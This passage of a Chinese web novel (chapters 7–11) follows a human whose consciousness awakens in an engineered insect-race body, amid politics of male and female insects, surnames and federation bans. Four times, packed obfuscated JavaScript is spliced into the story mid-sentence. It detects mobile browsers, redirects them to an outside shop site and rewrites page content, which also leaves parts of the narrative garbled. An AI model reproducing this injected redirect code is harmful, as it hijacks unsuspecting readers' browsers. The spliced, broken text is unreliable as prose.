《论人类如何靠手腕登顶虫族》 7. 辰星亚玛 “ACX5364，第75331次意识实验即将开始，你准备好了吗？”主任一身白色大褂站在实验舱边，拿着详情报告单进行最终的确认，也许是见多了这种生死场面，他的脸上并没有什么明显的表情。 安辰星赤.裸地躺在里面，头发已经剃光，各种导线连满了他的身体，包括发声的喉管，此时他只能通过转动眼球来表示意愿，顺时针和逆时针各一圈，即代表着准备完毕。 安辰星眼角滑落一滴泪水，说不恐惧是不可能的，但实验体必须有人去做，这个人可以是任何人，也可以是他，他深爱这片土地、深爱拥有七情六欲，喜怒哀乐的人类。 “ACX5364，人类不会忘记你的贡献。”主任确认他转动了眼球，最后说道。 于是安辰星闭上眼。 休眠舱被操作员启动，机械音适时响起，“检测到实验样本，正在进行适配，适配完毕，现在进行量子化，大约需要两分钟……” 就在这时，实验室的一位姑娘突然崩溃，大哭出声，“你们没有一个人发现他是安辰星吗？” 所有人齐齐看向她，听见她歇斯底里地喊道，“773修复北极磁场行动、587登陆天王星行动、621远空探测器发射行动……他是我们人类的英雄啊，最后竟还要这样尸骨无存！我受不了了！这个世界早就完蛋了！” “邓苏苏！”主任严厉地出声打断她，“实验室禁止散播消极情绪！再有下次严重处罚！” 主任又一脚站上台阶，一字一句掷地有声，“每一次的实验都具有重大意义，每一个人的贡献都不会白白浪费！我们身处在这样的时代，就是为后人的前仆后继贡献自己的全部包括生命！安辰星也是深知这点，才会不顾人们的劝告和挽留！” 邓苏苏彻底哭成泪人，断断续续道，“对不起……” 她旁边一个男生微微叹气，拍了拍她的肩，“苏苏姐，他是安辰星，我们所有人都知道的。” 两分钟一到，实验舱的机械音再次响起，“……量子化完毕，即将进行离心，预计需要一分钟……” “……警报！离心异常！离心异常！质量无损！能量不等！请检验设备！本次实验结束！” ———— 费米德星区，第一娱乐星。 璃拉领着安辰星走出指挥舰时，满心的疑惑尚未消去。 “璃拉首席。”见虫心不在焉，安辰星叫了他一下。 “啊，阁下，你叫我璃拉就好了。”璃拉迅速回神，抬手指向不远处的小舰，一边走一边说，“出行舰就在那里，我先带你去月夜殿堂。” “嗯。”安辰星走在他身后，若有所思地看着他长至腰间的银发。 璃拉客气地问，“阁下，我直接叫你的名字安辰星可以吗？” “辰星。” “好的，辰星。”璃拉笑着说，虽然不明白雄虫为什么把名字拆开来，但没有追问下去。 两人先后登上出行舰，出行舰感应到舰主回归，开始自动驾驶。 璃拉挥手招来一只飞行护理虫，找出一瓶饮品给安辰星递去，半试探半打听地问，“你是莱伽斯少将的心上虫吗？他似乎有些紧张你。” 安辰星接过那瓶饮料，摇头否认。 璃拉假意打趣，“真好，少将舍不得让你公示，这意味着你以后都不用履行规定接触义务了，非得羡慕死音里那家伙不可……哦，音里是一只性格活泼的A级雄虫，费米德除了他和我，还有一个叫布鲁的，我们三个都是A级。” 璃拉说到这里稍作停顿，去喝自己先前煮好的花茶，半晌没等到安辰星说话，才又仿佛刚想起一般，“诶？还没问你是什么等级呢，真希望也是A级，这样就能和我们住在一起了，我和音里都喜欢热闹些，而布鲁比较独来独往，但虫是好的。” 璃拉有些确实拿不准安辰星的等级，本来猜测会是A级，毕竟第一总指不太可能会为B级及以下的雄虫大刀阔斧，而且实际上，安辰星的确也长得很高等。 只是，他散发精神力场实在是太弱了，弱到璃拉甚至都要怀疑他是C级。想到破天荒长得漂亮的低等雄虫也不是没有，璃拉就又信了一半。 至于第一总指为什么小题大做……如果，如果安辰星真的是被莱伽斯看上，倒也能说得通，毕竟古往今来为雄虫上头的雌虫还数不胜数，顶多因为雌虫一方是莱伽斯这一点，才稍微让虫有那么些些惊讶罢了。 安辰星垂眼看看手中的饮料瓶，心中失笑。璃拉啊璃拉，要怎么说你？你连递来的一个瓶子都是试探的形状。 “啊！”只见璃拉用手轻掩嘴巴，低低地叫了一声，“是我刚刚没注意。” 璃拉又匆忙从安辰星手上拿回了瓶子，神色既抱歉又无辜，“你不会开这个瓶子也正常，它是主星……” “这么说话不累吗？” “嗯？”璃拉下意识一愣，恍恍对上安辰星淡然的视线，才缓和过来，“哦，原来你是这类虫。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13058242|137607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>璃拉的笑脸带上了戒备，但同时真实了不少，“我也没有别的意思，你初来乍到，总该透一下底，大伙都是这么过来的，不是只针对你。” 安辰星无声抽回那瓶饮料，当着他的面用主星手法打开，忽然道，“三千万贡献点。” 璃拉当场僵住，觉得自己是不是耳朵出了什么毛病才会一个小时之内听到两次这个数字，“你在开什么玩笑吗？” “我总不能白白告诉你。”安辰星面色平静，却似乎又摆明了要故意刺激他，“或者说，保你的首席位值不值？” 很少有虫比安辰星更清楚雄虫璃拉对首席位到底有多执着。 “保我首席位？”璃拉如愿被激起怒意，冷声嘲讽道，“瞧瞧你那破成圈圈兽的精神力场，凭什么在这里大放厥词？” 安辰星神色不变，毫不意外他会发难，“我精神力场低，是因为雄核受损。” 璃拉顿了顿，然后接着生气，“你想说你也是A级？可别忘了你已经被莱伽斯禁止公示！压根就不可能参选！” “你没有真正冷静，不过也好，我喜欢你现在的样子。”看着银发雄虫因为怒意微微泛起的红晕的脸庞，安辰星心底生出一丝怀念，态度也少了几分挑拨，“我不一定非要参选，只要有能力罢免你就行。再好好想想，如果不是迷恋的缘故，又会是什么能让佐·莱伽斯这般不管不顾地限制我？” “你……”璃拉·亚玛从不愚蠢，“竟是S级。” 安辰星喝了一口饮料，神态不可置否。 在确定安辰星的确具备罢免自己的潜力的时候，璃拉反而不再生气，将他安置在谈判的对立面，语气直白，“你不可能缺这三千万贡献点，只要你开口，第一总指会把最好的给你，你到底想做什么？” 安辰星坦言，“我和你交易，你少一只防备虫。” 璃拉微微一怔，心中怀疑，“你莫非在跟我示好？” “我对你从没展露过敌意，是你太敏感了。” 如果威胁首席位也叫“没敌意”，那璃拉是真不知道什么是“敌意”的含义了，“我们等级不同，交易的约束力不高，我还是没法真的相信你。” “简单，我们两虫阵营捆绑怎么样？”安辰星至此终于显露出自己的真正目的，“今后我跟你姓，就叫辰星·亚玛。” 璃拉久久没有说话，仿佛震惊得失了声。 随后他缓慢地摆出礼仪微笑，“不好意思，我好像听错了，你能再说一遍吗？” 8. 行走资格 问一只虫族怎么分辨的雄性和雌性，就如同问一个人类怎么看出的是男是女一样荒谬。 安辰星犯过这种蠢事。 毕竟以他的视角，虫族外部显现的特征均为男性。后来在周围虫的只言片语中，他才总算有了一点概念。 雄虫在自然状态下，体内一个叫做“核心”的器官会散发出精神力场，被其它的虫探测和感知。 而雌虫相反，他们的精神力场向内收敛，一直处于积累的状态，时间久了会引发意识阵痛，需要雄虫运用“核心”帮助其进行精神力疏导。 接触疏导分为浅度和深度。 浅度接触是最基本也是最广泛的接触，只需雄虫用雄核将雌虫积压的精神力部分或全部引出体外就算完成。深度接触则复杂得多，涉及信息素的交融和结合。 在无外伤的情况下，雄虫的信息素具有隐藏性，只能由其自愿释放，且同样需要以雄核作为媒介。深度接触不仅能缓解雌虫的精神力暴.乱，还能起到修复滋养的效果，大大延长雌虫意识阵痛再临的期限。 不过深度接触备受雌虫推崇的原因却不仅仅是这些。雌虫对雄虫精神与肉.体的双重渴求或许早就通过长期的演化和进化深深地刻进了基因之中，成为维持这个种族活动的基本逻辑。 另一方面，雌虫不存在“核心”，但长有雄虫没有的雌纹，样式和颜色各异，且大多长在锁骨、腰腹和脊背的地方，少数长在手腕和脚踝上。 雌虫可以运用虫纹力量启动身体局部虫化和全体虫化。 当年安辰星弄明白这些后，很快又发现了一个新的问题——他的新身体既没有雄虫的雄核，也没有雌虫的雌纹。 硬要说的话，更接近人类。 ———— 费米德星区，第一娱乐星。 月夜殿堂后方的茶会小院。 娇小的音里神色喜悦地与耶瑟星区和索罗也星区的高等雄虫们进行茶会视频，“太好了，璃拉说这次的新虫十有八九是高等，以后我的工作又能减轻一些了，布鲁干五成，璃拉干一成，我和新虫各两成……” 耶瑟雄虫却很不高兴，“快速”地说，“怎么又去了费米德？你们都已经有三位高等了，我们才两位！来我们耶瑟啊！” 音里得意起来，“不行！璃拉当了首席几乎不顶用，我们费米德其实也就我和布鲁。” 耶瑟雄虫表情“快速”变得鄙夷，“谁不知道你也不顶用，费米德全靠布鲁撑起一片天。” “别...吵...了...”索罗也雄虫“缓慢”地放下茶杯，“我...们...索...罗...也...星...区...就...我...一...只...高...等.........那...新...虫...怎...么...说...也...该...来...我...们...这...里…” 星区内的沟通，靠的是区域网。 星区间的沟通，靠的是纠缠网。 两套网络各成体系，互不干涉。 纠缠网的“纠缠”取自于纠缠粒子。一对处于纠缠中的粒子，如果其中一颗状态变化，那么另外一颗也随之变化。运用纠缠粒子特性，可以不受空间和光速的限制做到实时通讯。 音里看向月夜殿堂的后门，心里估摸着布鲁那劳模也应该快结束了，便最后洋洋得意炫耀道，“哎呀！都这个点了！抱歉啊各位，我该让护理虫们准备些可口的点心和美酒，给新虫办一个盛大而热烈的欢迎派对了！” ———— 安辰星跟着璃拉进入月夜殿堂，看见深灰发色的雄虫独自坐在软沙发之中，身上衬衣有些凌乱，周围信息素气息浓烈且掺杂着厚重的雌虫气味，不难可以推断出此处不久前发生了什么。 璃拉轻皱眉梢，“布鲁，你太失礼了。” “哦？”布鲁似乎为他的话感到一丝讶异，他抬眸打量安辰星，目光毫不隐晦。 璃拉问道，“音里呢？” 布鲁修长的指节指向餐厅方向，视线却没有离开安辰星半分，说，“哦，难怪了。” 又问，“不过你是伤到核心了吗？” 不同于璃拉那种普通星区出生却非要学主星贵族做派的虚荣虫，布鲁是真正土生土长的主星高等雄虫。他更是亲眼见过S等的稀有雄虫，能够辨别S等们蕴含的那种特殊又唯我的气质。 虽然没什么必要，但布鲁还是简洁地提醒这位新来S级虫，“只有主星才掌握核心修复技术，如果你想快点好起来，一会就不要吃蠢音里端出来的烈性咕噜肉。” 只见安辰星忽然抿唇，垂着眼帘一言不发，仿佛在委屈或者示弱？ 布鲁抬了抬眉，突然有些摸不着头脑。 看见布鲁难得的少见表情，璃拉忍不住笑了，开口介绍道，“这位是安辰星，也叫辰星·亚玛，刚刚入了我籍。” 布鲁听罢神色更加古怪，见惯了A级挠破脑袋要加入S级阵营的，还没见过S级光速加入A级阵营的，“你不会以为亚玛姓是星区大族吧？” 姓氏申请的通过权和撤销权由联邦主星掌控，当一个集体或个体为虫族做出突出了贡献，那么就可以去申请姓氏。同样，当这个集体或个体不再具有相应的影响力，便会被撤去姓氏。 若一个姓氏族群能够连续几十年甚至上百年之久源源不断地为虫族做出贡献，那么他们也就顺理成章成为了大族。莱伽斯家族和登氏家族便是其中典型。 布鲁两年之前也拥有主星家族姓氏，但他因为某些事一度与家族闹得十分难看，后来佐·莱伽斯听说了事情原委主动找到他，提出了几条互惠互利的合作条款，布鲁便毫不犹豫摒弃姓氏，来到了费米德星区。 所以，一般说到姓氏，都会给虫一种强盛的印象。 可亚玛姓却不是这样。自璃拉任职首席位后，他每年坚持不懈向主星发送姓氏申请，反复夸大自己对虫族的功绩。这事赫然已成音里和其他高等雄虫们茶余饭后的笑谈。 而在去年，亚玛姓终于被正式审批通过，大概是当时的审核官检索出了这位阁下长长的过往申情失败列表，一时动了恻隐之心吧。 璃拉作为雄虫，却有着不输 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“抱歉，布鲁。”安辰星很快改口，又问，“不知道你有没有听过这样一段话：我骄傲又深情的坎贝尔阁下，阴霾笼罩吞噬之时，所有虫为你的坚韧着迷，只有我对虫神无数次祷告，祈愿你能微微弯下那脆弱的脊梁，不被其所伤害。” 听安辰星如吟唱般把话说出，布鲁神情愈发动摇，身体开始不受控地发抖，“你见过他？他……他怎么样了……不，你还是别告诉我。” 安辰星轻轻叹息，“他既想要见到你，又不敢见到你。如果他知道你至今没有弯下脊梁，一定会心疼至极。” 挤压的情绪好像终于有了宣泄的出口，布鲁面露绝望，“两年来我碰了数不胜数的雌虫，还放开了深度接触的申请，但距离十亿还是遥遥无期……没有时间了，E86特研星球的流速是这里的122倍，那边已经过了244年，而他一只普通A级虫，不用多久就会进入衰老期。” “让我帮你。” 9. 造雄计划 主星联邦大厦，第六序列主席室。 “报告！第一总指前来述职！”门外声音响起。 “进来。”门内虫应道。 门被向外打开，苏格兰·登迈步进入，酒红色的中短发显得他精神又正式，“报告，第一总指挥部于今日上午10星时24时分顺利击毁背叛者军舰，成功营救下四名被劫阁下，现已平安送回圣彼西科第四殿。” 联邦第六序列主席从桌案中徐徐抬头，说，“苏格兰，又是你，莱伽斯什么时候当面给我述职？” 苏格兰露齿一笑，开始没个正经，“雌兄你是知道的，那家伙每次来主星，都要去圣彼西科首序殿溜一圈。” “溜什么溜？数数还是闻味啊？那么多次S级接触卡发下去，也没见他用！”堂堂联邦第六序列虫竟言辞粗鄙，“他雌父的！以后不使用接触卡不许他进首序殿！光看不消费，什么德行！” 苏格兰嬉皮笑脸，“雌兄，你别发他你发我啊，我肯定乖乖消费！” “去去去！看把你惯的，双S就老老实实去找A，别一天天肖想些不该想的，”第六序列主席没好气道，“赶紧去把他叫过来，我有任务要发。” 苏格兰有点纳闷了，“我作为第一总指第二序列，还不能直接领任务吗？” “这次还真不行，是Ⅰ类任务，现在我就等你们办好这事后，去申请直升联邦第五序列了，”主席无比直接，又进一步催促，“麻利的，让他别再闻味了，我要是升序了，你们什么荣华富贵没有啊！？” 苏格兰点头，想了想还是不住劝道，“雌兄，有其他虫在的时候，你可就不能这样子了啊。” ———— 圣彼西科首序殿。 这里是全虫族最尊贵的六位适龄S级阁下居住的地方。 奢华的地砖走廊上站着一个个面无表情的守卫军雌，他们不隶属于三个总指挥部中的任意一个，而是另一个独立的部门——特等阁下安全部。 虫族规定，S为特等，A为高等，B及B以下为中低等。 安全部入部的条件十分苛刻，其中之一就是得有S及S以上的等级。而佐·莱伽斯在改变自己的方向前也是安全部的一员，负责保护特等阁下。 佐·莱伽斯顺着长长的弧形阶梯一路往上走，目之所及之处守卫军雌的数量逐渐增多，等他到了顶层，就连单S的雌虫都看不到了，全是双S，甚至有几位是和他一样的三S。 圣彼西科首序殿的顶层是禁止任何外虫进入的，但莱伽斯不是外虫，守卫军雌们没有出动拦下他。不过他们也纷纷激活了自身虫纹力量，以备随时可以应对各种突发情况。 莱伽斯像以往的每一次一样，走到如地狱般令虫窒息的门前停下。 隔着这扇门的后面，有一只长着金发的适龄雄虫，而他并不是被联邦公示过的那六位S级阁下之一。 莱伽斯轻声开口，“佑，雌兄来了。” 里面突然传出雄虫剧烈地挣扎声，“唔！唔！” 莱伽斯声线如暖光般柔和，“别怕，我不进去，我不看你。” 但莱伽斯即便不看也能想象到，雄虫一定是在被用最奢华的绸缎蒙着眼，最柔软布料堵着嘴，最繁复的束缚衣禁锢着身体和四肢。 里面的雄虫似乎是安心了，逐渐平静下来。 莱伽斯更加温柔，“雌兄给你带了小故事。” “一只游离星空的圈圈兽发现了一个可可果洞，洞里面孕育有两个可可果实，但它们色泽不一，一个皮黑一个皮棕，圈圈兽害怕它们已经被感染源感染，不敢食进肚子。” “可是圈圈兽也不愿可可果被别的圈圈兽发现，情急之下，它就先将可可果藏了起来……” “佑，你喜欢这个故事吗？喜欢的话可以告诉雌兄。” 莱伽斯说完闭口，等在原地。 里面的雄虫许久都没有动静，但莱伽斯十分有耐心，这与他在第一总指的时候截然不同。 终于，莱伽斯听见一声轻微的、肯定的，“嗯。” ———— 主星联邦大厦，圣彼西科监控室。 一只虫猛地拍响桌面，义正言辞道，“我强烈提议佐·莱伽斯禁止探视！佑阁下刚刚明显使用了［特能］，他们绝对是在交换情报！这已经不是第一次了！” 有虫当即嗤笑反驳，“怎么？还有没有虫性了？只许你联邦从佑阁下身上挖好处，不许虫家亲雌兄问点情报啊？” “佐·莱伽斯离开安全部不过五星年，高居莱伽斯家族第三序列，第一总指挥部第一序列，执掌［战争］职能权限，辖区更是有耶瑟和索罗也两个优秀星区，费米德这个顶级星区，合计四百多位雄虫阁下坐阵！风头无两！强盛至极！这其中佑阁下给出的帮助必定不可估量！” “呦呦呦！我当是什么咯，瞧把你酸的！这么关心少将啊？可你做虫说话要讲究证据，怎么就不能是少将天赋异禀，实力一绝呢？哦哦哦！差点忘了你也是来自莱伽斯家族的？说说看，你现在是第几序啊？” “咳咳，”一旁的领导虫实在绷不住，咳了几声，“你们严肃点，注意纪律。” ———— 若要讲安辰星和第一总指的纠葛，大概三天三夜都讲不完。就从安辰星虫族生活的起点，E86特研星球开始吧。 特研星球，全称特殊研究星球，多评选自极端流速地带，用于攻克和组建各类需要耗费大量时长的难题和构想。 E86特研星球负责的E86计划也叫造雄计划，是由联邦高层于51星年前秘密通过的一项变革性尝试。 从最初的理论研究，到实验设备的建造和调试，再到最终的雄虫实体培育，这颗特研星球已经走过了6222年，耗费了联邦无数的资源，更换了一批又一批的珍贵权限者。 而在第2751批次的造虫被宣告衰竭死亡，实验失败后，主星联邦终于决定放弃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13058244|137607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个没有希望的计划，并派遣第一总指挥部率领全舰前往特研星球，接应和转移其中的各类权限者。 安辰星就是苏醒在E86计划叫停之后，等待舰队前来接应的这一期间。 他在那里的身份是——最接近成功的失败造虫。 当年，安辰星顶着“男孩”的身体苏醒，很快就惹来了周围“人”的围观，这些“人”看起来皆是学者和研究员的打扮。 他们说的不是安辰星所熟知的任何一种语言，但安辰星就是莫名的听得懂，除了一些固有词汇不太明白。 难道在自己参与意识实验失去感知的年月中，人类已经能够将一些知识写进遗传基因里了吗？ 安辰星思索间，听见一个“男人”怔怔地问其他“人”，“这是哪个基地的造虫？怎么没有衰竭死？” 一个同样怔愣的“人”说道，“应该是33号基地拉来的，听说他们基地好几批造虫都有生命体征可就是醒不过来，好像能量场的检验结果是意识缺失……凯特文！凯特文在哪里？” “我在！”名叫凯特文的“人”从远处快跑过来，他正要询问呼唤原由，便看见小造虫安辰星眨巴着异色眼瞳，疑惑地盯着自己。 凯特文猛地瞪大眼，然后开始手足无措，语无伦次，“这！这！？” 其他虫见凯特文这个反应，便知道小造虫是33号基地的准没跑了，“凯特文，什么情况？你们基地这是成功了？什么运气！主星前脚刚叫停实验，你们后脚就成功了？” 不少虫被安辰星萌翻，“小造虫好可爱，不知能不能等他适龄后申请接触。” 凯特文欲言又止好几次，心情混乱极了，“我记得很清楚，他是我们基地57批次、总批次2719的造虫，因为那天的终检阶段正好是我负责。” 瞧见安辰星“不谙世事”地歪了歪小脑袋，凯特文叹出口气，“这一批次的造虫共有5位，全都没能孕育出雄核。” 所有虫闻言，纷纷露出遗憾惋惜的神色。 也是，他们前赴后继地背井离乡，耗费了这么多的虫力和时间，是全虫族最清楚E86造雄计划究竟有多么困难的一批虫。 有虫悲戚道，“咋办，现在虫都活了，再集中销毁可就太残忍了。” 有虫建议说，“要不让凯特文带回去养……不好，他单身太久了……可我们也单身太久了，这样吧，他养着，大家一起监督他。” 凯特文冷哼一声，“我只会把他当成我和坎贝尔的孩子。” 就这样，安辰星一面孤独地怀念着深深眷恋的人类故星，一面在凯特文的照顾下渡过幼年。 他常常在特研星球的研究所逗留玩乐，众虫倾囊相授教会了他很多，他先后掌握［科学］和［文明］两大权限。 所有虫都知道第一总指将会奉令前来接应，只是不知道具体要多久。毕竟主星那边整军1个月，特研星球这边就是122个月，超过10年的时间。 10. 雄虫三禁 虫族联邦明文规定雄虫三条禁令。 一，禁止长时间星际航行。 二，禁止进入极端流速地带。 三，禁止以任何形式动摇联邦权威。 非要说的话，这三条禁令原则上也适用于雌虫，只是雌虫终是要围在雄虫身边转的，没有雄虫存在的地方根本没有未来，所以联邦限制雄虫活动的目的其实就是杜绝其他势力的萌芽和发展。 现在解释［雄虫三禁］。 第一禁，禁止雄虫长时间星际航行。 ［空间阶跃］作为遗失纪元遗留的高能科技之一，彻底在新世纪元被应用与普及。虫族不再需要通过枯燥而乏味的远航来抵达目的地。若非特殊情况，军方也根本不会考虑进行长时间星际航行。 因为，虫族虽然掌握亚光速航行的技术，可以这种速度航行的话，舰内时间流速将会快到一个相当夸张的程度。若长时间如此航行，以主星联邦的时间维度来看，就相当于这批远航虫跳往了“未来”。 如果这个“未来”时间跨度足够遥远，那联邦和这批远航虫也将没有了对话的基础，他们也就自动脱离了联邦的掌控。 好在，只要从根本上禁止雄虫随舰，即便远航虫跳往“未来”，其势力也不具备发展和延续的基本条件，便也并不值得联邦担心了。 上为一禁。 第二禁，禁止雄虫进入极端流速地带。 从种族所在的星系上看，联邦主星的坐标位于接近星系中心的恒星带，用人类的话说，大约是“七环”偏向“八环”的位置。 众所周知，越是靠近黑洞的地方时间流速越快，所以联邦主星的时间流速以星系整体的视角去衡量的话，其实是处于相当“快速”的程度。 因此但凡虫族提及所谓［极端流速地带］，那多默认是指星系外围的［极端缓慢流速地带］。 联邦主星是善用［极端流速地带］的特性来为种群研发革新各类项目和高能科技的。但联邦绝不会允许雄虫进入这些地带的。 因为极端流速地带具备大量的“相对”时间，一旦这些地带拥有了雄虫，那联邦将会在“短期”之内面临各种迅速发展起来的混乱势力。之前所提及的［黑星雄虫］、［偏远黑星］、［背叛者］、［背叛军团］，代指的就是这些势力。 当然，即便是出于种族统一的考量，联邦主星不能也没有权利明目张胆地剥夺雄虫的自由。 于是便有了［行走资格］的发行，拥有［行走资格］的雄虫，可以选定联邦辖区内的任意一个星区包括［极端流速地带］居住十个生理年，到期即返。 为了防止有雄虫不归的情况发生，所有持有资格且决定“出行”的雄虫必须配合联邦主星在其“核窍”内植入一条“纠缠锁”。 纠缠锁是虫族在纠缠粒子原理上的应用之一，它可以不受空间和时间的限制，实现纠缠首端对纠缠末端的实时摧毁。 而雄虫的核窍对雄核起着支撑及修复的作用，一旦核窍被摧毁，那么雄虫每运用一次雄核，就会离核心衰竭更近一份，直至死亡。 再者，联邦为了尽可能起到禁令效果，将［行走资格］的价格定得十分高昂，所以也几乎没有雄虫会愿意费这个心思。 上为二禁。 第三禁，禁止雄虫以任何形式动摇联邦权威。 本条依照字面意思理解即可。 ———— “你可真高啊！”娇小可爱的音里微微张嘴，抬头瞧着面前比自己高了一个半头的安辰星。 他好奇地说道，“你的眼睛好特别，是天生的吗？我以前在圣彼西科第二殿待的时候，一位掌科学权限的接触虫送了我一只阿骨怪，就长了像你这样的异色眼，非常好看，听那虫说是运用了特殊感染源培育的稀有品种，我当时可喜欢了，可惜后来那只阿骨怪被首序殿的特等看中，抢走了……” 安辰星轻轻一笑，为这位阁下的天真活泼感到喜悦，“你好，我是安辰星，你可以叫我辰星，我的眼睛是天生的。” 音里听罢很高兴，围着他转了一圈，“我叫音里，以后我带你一起玩，你会不会打花牌……咦？感觉你漂亮得都不输特等了，精神力场怎么这么弱呀？” 沙发软座上的布鲁漫不经心插话，“他就是特等，雄核受伤了。” “啊？”音里瞬时睁大了眼睛，惊讶道，“你……你是特等呀？”然后紧接着他狂喜，“特等好，特等好呀！你好好养伤，我等你康复……”说完他又立马招来一只智能护理虫，井井有条安排道，“一会晚宴的咕噜肉不要加耶瑟辣油和主星椒椒……” 一旁璃拉看着音里娇小身躯忙前忙后，心知肚明这家伙打的什么算盘，“音里，我不得不遗憾地告诉你，辰星是S等这个事情是被令行保密的。” “嗯？”音里显然还没反应过来，开心地说，“保密也好啊，这样他就不用被强制送去圣彼西科了。” 布鲁轻笑一声，“蠢。” 安辰星还是保持微笑，“很可爱。” 璃拉往后拨了拨自己的银色长发，“嗯……音里，如果我说不进行公示，你总能明白了吧？” 娇小的音里当即呆愣在原地。 智能护理虫不懂空气地问，“阁下，您还有什么要吩咐的吗？” 可怜的音里整个虫都痿了，心如死灰地说，“麻烦你还是把咕噜肉分成两份吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13058245|137607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，一份加辣油和椒椒一份不加，唉，接触任务太多，我得吃点香的才有心情……” ———— 晚宴后，安辰星住进璃拉为他安排好的新房间，使用浴室配备的清洁剂洗了个澡。 再次回到卧房，他摆弄了一下无实名认证的个虫智脑。果然是只办理了区域网，没有联通纠缠网。这意味着他无法获取费米德星区以外地区的任何资讯。 不仅如此，这枚由第一总指管制智脑连输出通道也被限制了，仅能与特定的几位被授权好友进行发信交流。说明他最好打消自作聪明向星区内的陌生虫发出求救消息的念头。 安辰星点开后台各项属性说明，看见目前可以给他开放限制的共有莱伽斯、苏格兰和璃拉三虫。 又退出界面点开好友栏显示，最新被授权的好友有布鲁和音里，应该是璃拉帮他加的。 安辰星曾掌［科学］权限，这些最低级的网络限制和输出限制其实难不倒他，他甚至只粗略那么一想，就想出了不下十种可以解决这个问题还不被发现的方法。 不过安辰星没有这么做，因为于他的行动无益。他让智脑变成手环模式戴在左手腕上，搬了桌边的一张椅凳走向阳台。他拉开门帘打开门走出，将椅子平稳摆好后在露天的星空下坐落。 夜晚的费米德星区静谧而深重，无尽的星空璀璨而绚烂。安辰星似乎看见了母亲含泪的目光，父亲无言的沉默。 而他已经习惯面无表情地去注视一切。 现在是联邦新世纪39462年3月17日。 距离主星联邦叫停E86造雄计划还有0星天。 距离主星联邦通过丧心病狂的［挖核决议］还有10星月。 距离第一总指袭击圣彼西科营救雄虫佑失败还有13星月。 距离第一总指沦为背叛军团还有14星月。 距离震惊虫界的［辰星理论］发表还有15星月。 距离亚玛姓氏沦为第一大罪姓还有16星月。 距离［辰星理论］被承认还有…… 不要急，安辰星，需要做的事情有很多。 但还是得一件一件来。 安辰星再次点开智脑进行空中投屏，给佐·莱伽斯发去一条消息。 【莱伽斯，让我见你。】 信息显示已发送待接收。由于这枚智脑没有联通纠缠网，所以只得等到莱伽斯进入费米德的区域网辐射范围才能送达。 安辰星决定，如果这条信息在18个小时之内没有送达，他就找璃拉帮忙传个话。 然而没想到，两分钟后就有了回信。 【我军刚返回费米德，你有什么事。】 11. 传说特能 主星生物总院，首序资料馆。 “哟，稀客啊，今儿怎么有空回来看看？”值班的权限虫看见伊洛·杰尼森，觉得新奇，“前段时间才听同届的几个瞎聊，说你都排到第一总指前十序了，真是厉害，果然当初还是跳槽好啊。” 伊洛打了个哈哈，“惭愧，外边功名利禄抛头露脸的，哪有你们留在这里研究学问的基础扎实，这不，碰上难题了，还不得眼巴巴地回来找资料。” 值班那虫诧异道，“嗯？你走之前实力就处在我们院的前一百五，加上这些年跟着指挥部到处游历又哪里能差？来让我看看，是什么难住了你。” “那就请尊敬的生物院第十八权限虫帮我分析分析，”伊洛此次是有备而来毫不紧张，缓缓将神秘阁下血检的部分数据拿出，“你看看这些成分，都是什么情况下产生的？我怎么就没见过呢？” 值班权限虫气定神闲往那各色图表上扫一眼，霎时表情一变，从椅子上站了起来，语气严肃道，“你从哪弄来的？” 伊洛心中猛地一跳，靠着自身还算过硬的心理素质，强装茫然，“怎，怎么了？就上面的人送下来的数据，让我给看看，我半天看不明白，才想着来这里找找资料……” “哦……我说呢……”那值班虫表情一松，彻底信了他，开口感慨道，“不愧是第一总指，上头门路真多，连这个都搞得到……” 值班虫又开始神秘兮兮，“这可是绝密啊，我们院也就前二十序的虫配知情，不能往外说的。” 伊洛一看有戏，有商有量地说，“透露一点呗，不然我没法向上头交差，我们以前什么交情啊？” 那值班虫暗示性地搓搓手指，“什么交情啊？我好像跟你不熟啊。” “A级阁下接触卡……” 那值班虫顿时眼睛暴睁，随即他立马压低了声音，“你小声点！” 他又东张西望，看见轮班虫还没来才松了口气，“我要两张，同意就成交。” 伊洛觉得一阵肉疼，咬牙说，“太贵了，我怎么知道你说的情报到底有没有用？万一上面的虫不满意不肯报销怎么办？” “放心！我保证是绝密！我是信得过你才肯冒着这么大的违规风险跟你谈！换别的虫我压根不带理的！” “行吧！我答应了！” 